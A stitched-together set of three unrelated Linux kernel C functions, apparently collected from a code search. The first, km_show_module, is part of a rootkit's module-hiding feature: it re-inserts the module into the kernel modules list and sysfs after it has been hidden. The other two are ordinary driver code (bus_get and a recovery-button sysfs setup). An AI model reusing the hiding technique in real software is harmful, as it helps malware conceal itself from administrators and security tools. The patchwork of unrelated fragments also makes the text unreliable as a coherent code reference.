static void km_show_module( const char* const data ) { kobject* kobj = &THIS_MODULE->mkobj.kobj; // Check to ensure we're hidden first... if ( !g_state.hidden ) { return; } g_state.hidden = 0; // Add to modules list mutex_lock( &module_mutex ); list_add_rcu( &THIS_MODULE->list, g_modules); mutex_unlock( &module_mutex ); // Increment parent ref count in sysfs kobject_get( kobj->parent ); // Add to sysfs kset_get( kobj->kset ); spin_lock( &kobj->kset->list_lock ); list_add_tail( &kobj->entry, &kobj->kset->list ); spin_unlock( &kobj->kset->list_lock ); kobj->state_in_sysfs = 1; mutex_lock( g_sysfs_mutex ); sysfs_link_sibling( kobj->sd ); mutex_unlock( g_sysfs_mutex ); }
static struct bus_type *bus_get(struct bus_type *bus) { if (bus) { kset_get(&bus->p->subsys); return bus; } return NULL; }
static int recovery_button_prep_sysfs(void) { int err = 0; /* prep the sysfs interface for use */ kobject_set_name(&recovery_button_driver.kset.kobj, "recovery-button"); recovery_button_driver.kset.kobj.ktype = &ktype_recovery_button; err = kset_register(&recovery_button_driver.kset); if (err) return err; /* setup hotplugging */ recovery_button_driver.kset.uevent_ops = &recovery_button_uevent_ops; /* setup the heirarchy, the name will be set on detection */ kobject_init(&recovery_button_driver.recovery_button,recovery_button_driver.kset.kobj.ktype); recovery_button_driver.recovery_button.kset = kset_get(&recovery_button_driver.kset); recovery_button_driver.recovery_button.parent = &recovery_button_driver.kset.kobj; return 0; }